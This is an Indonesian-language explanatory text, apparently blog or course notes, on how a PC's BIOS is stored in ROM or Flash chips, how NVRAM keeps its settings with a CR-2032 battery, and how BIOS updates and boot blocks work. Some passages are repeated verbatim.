IOS juga sering disebut sebagai ROM BIOS karena pada awalnya BIOS disimpan dalam chip memori hanya baca (ROM) dalam motherboard. Mengapa disimpan di dalam ROM, adalah agar BIOS dapat dieksekusi pada waktu komputer dinyalakan, tanpa harus menunggu untuk menyalakan perangkat media penyipanan terlebih dahulu (yang memakan waktu lama). BIOS dalam komputer PC modern disimpan dalam chip ROM yang dapat ditulisi ulang secara elektrik atau Flash ROM. Karena itulah, sekarang sebutan Flash BIOS lebih populer dibandingkan dengan ROM BIOS. Berikut ini adalah beberapa chip ROM yang digunakan sebagai tempat penyimpanan BIOS.
Tipe ROM Cara penulisan Dapat dihapus Jenis BIOS
Mask ROM
Photolithography
Tidak ROM BIOS
Programmable ROM (PROM)
PROM Writer Tidak ROM BIOS
Erasable PROM
EPROM/PROM Writer Ya, dengan menggunakan EPROM Rewriter atau menyinarinya dengan sinar ultraviolet tepat pada lubang kuarsa bening. ROM BIOS
Electricly EPROM
EEPROM/EPROM/PROM Writer Ya, dengan menggunakan EEPROM Rewriter, atau secara langsung secara elektrik dari papan sirkuit dengan menggunakan perangkat lunak EEPROM Programmer. ROM BIOS
Flash ROM
EEPROM Writer atau software yang dapat menulisi Flash ROM Ya, dengan menggunakan EEPROM Writer, atau langsung secara elektrik dari papan sirkuit dengan menggunakan perangkat lunak Flash BIOS Programmer. Flash BIOS



Tampilan yang dikeluarkan oleh BIOS saat NVRAM mengalami kerusakan atau saat baterai litium CR-2032 habis dayanya atau dicabut dari slotnya
Meskipun BIOS disimpan dalam memori hanya baca, konfigurasi BIOS tidak disimpan dalam ROM, (hal ini disebabkan oleh sifat ROM yang statis) melainkan sebuah chip terpisah yang disebut sebagai Real-time clock (RTC), yang berupa sebuah Non-Volatile Random Access Memory (NVRAM). NVRAM juga sering disebut sebagai Complimentary Metal-Oxide Random Access Memory (CMOS RAM), karena menggunakan metode pembuatan CMOS. Karena menggunakan metode pembuatan CMOS, NVRAM membutuhkan daya yang sangat kecil agar dapat bekerja. Meskipun disebut non-volatile, NVRAM sebenarnya merupakan sebuah chip yang volatile, sehingga data yang tersimpan di dalamnya dapat terhapus dengan mudah jika daya listrik yang menghidupinya terputus. Oleh karena itu, NVRAM "dihidupi" oleh sebuah baterai (mirip baterai kalkulator atau jam) dengan bahan Litium dengan seri CR-2032. Sebuah baterai Litium CR-2032 dapat menghidupi NVRAM selama tiga hingga lima tahun. Jika daya dalam baterai habis, atau daya yang disuplainya terputus (akibat dicabut dari slotnya), maka semua konfigurasi akan dikembalikan ke kondisi standar, sesuai ketika BIOS tersebut diprogram oleh pabrikan. BIOS umumnya memberikan laporan CMOS Checksum Error atau NVRAM Checksum Error.
BIOS dalam komputer PC modern disimpan dalam chip ROM yang dapat ditulisi ulang secara elektrik atau Flash ROM. Karena itulah, sekarang sebutan Flash BIOS lebih populer dibandingkan dengan ROM BIOS. Berikut ini adalah beberapa chip ROM yang digunakan sebagai tempat penyimpanan BIOS. Tipe ROM Cara penulisan Dapat dihapus Jenis BIOS Mask ROM Photolithography Tidak ROM BIOS Programmable ROM (PROM) PROM Writer Tidak ROM BIOS Erasable PROM EPROM/PROM Writer Ya, dengan menggunakan EPROM Rewriter atau menyinarinya dengan sinar ultraviolet tepat pada lubang kuarsa bening. ROM BIOS Electricly EPROM EEPROM/EPROM/PROM Writer Ya, dengan menggunakan EEPROM Rewriter, atau secara langsung secara elektrik dari papan sirkuit dengan menggunakan perangkat lunak EEPROM Programmer. ROM BIOS Flash ROM EEPROM Writer atau software yang dapat menulisi Flash ROM Ya, dengan menggunakan EEPROM Writer, atau langsung secara elektrik dari papan sirkuit dengan menggunakan perangkat lunak Flash BIOS Programmer. Flash BIOS Tampilan yang dikeluarkan oleh BIOS saat NVRAM mengalami kerusakan atau saat baterai litium CR-2032 habis dayanya atau dicabut dari slotnya
Meskipun BIOS disimpan dalam memori hanya baca, konfigurasi BIOS tidak disimpan dalam ROM, (hal ini disebabkan oleh sifat ROM yang statis) melainkan sebuah chip terpisah yang disebut sebagai Real-time clock (RTC), yang berupa sebuah Non-Volatile Random Access Memory (NVRAM). NVRAM juga sering disebut sebagai Complimentary Metal-Oxide Random Access Memory (CMOS RAM), karena menggunakan metode pembuatan CMOS. Karena menggunakan metode pembuatan CMOS, NVRAM membutuhkan daya yang sangat kecil agar dapat bekerja. Meskipun disebut non-volatile, NVRAM sebenarnya merupakan sebuah chip yang volatile, sehingga data yang tersimpan di dalamnya dapat terhapus dengan mudah jika daya listrik yang menghidupinya terputus. Oleh karena itu, NVRAM "dihidupi" oleh sebuah baterai (mirip baterai kalkulator atau jam) dengan bahan Litium dengan seri CR-2032. Sebuah baterai Litium CR-2032 dapat menghidupi NVRAM selama tiga hingga lima tahun. Jika daya dalam baterai habis, atau daya yang disuplainya terputus (akibat dicabut dari slotnya), maka semua konfigurasi akan dikembalikan ke kondisi standar, sesuai ketika BIOS tersebut diprogram oleh pabrikan. BIOS umumnya memberikan laporan CMOS Checksum Error atau NVRAM Checksum Error.
4. UPDATE BIOS
B
IOS kadang-kadang juga disebut sebagai firmware karena merupakan sebuah perangkat lunak yang disimpan dalam media penyimpanan yang bersifat hanya-baca. Hal ini benar adanya, karena memang sebelum tahun 1995, BIOS selalu disimpan dalam media penyimpanan yang tidak dapat diubah. Seiring dengan semakin kompleksnya sebuah sistem komputer , maka BIOS pun kemudian disimpan dalam EEPROM atau Flash memory yang dapat diubah oleh pengguna, sehingga dapat di-upgrade (untuk mendukung prosesor yang baru muncul, adanya bug yang mengganggu kinerja atau alasan lainnya). Meskipun demikian, proses update BIOS yang tidak benar (akibat dieksekusi secara tidak benar atau ada hal yang mengganggu saat proses upgrade dilaksanakan) dapat mengakibatkan motherboard mati mendadak, sehingga komputer pun tidak dapat digunakan karena perangkat yang mampu melakukan proses booting (BIOS) sudah tidak ada atau mengalami kerusakan.
Oleh karena itu, untuk menghindari kerusakan (korupsi) terhadap BIOS, beberapa motherboard memiliki BIOS cadangan . Selain itu, kebanyakan BIOS juga memiliki sebuah region dalam EEPROM/Flash memory yang tidak dapat di-upgrade, yang disebut sebagai "Boot Block". Boot block selalu dieksekusi pertama kali pada saat komputer dinyalakan. Kode ini dapat melakukan verifikasi terhadap BIOS, bahwa kode BIOS keseluruhan masih berada dalam keadaan baik-baik saja (dengan menggunakan metode pengecekan kesalahan seperti checksum, CRC, hash dan lainnya) sebelum mengeksekusi BIOS. Jika boot block mendeteksi bahwa BIOS ternyata rusak, maka boot block akan meminta pengguna untuk melakukan pemrograman BIOS kembali dengan menggunakan floppy disk yang berisi program flash memory programmer dan image BIOS yang sama atau lebih baik. Pembuat motherboard sering merilis update BIOS untuk menambah kemampuan produk mereka atau menghilangkan beberapa bug yang mengganggu.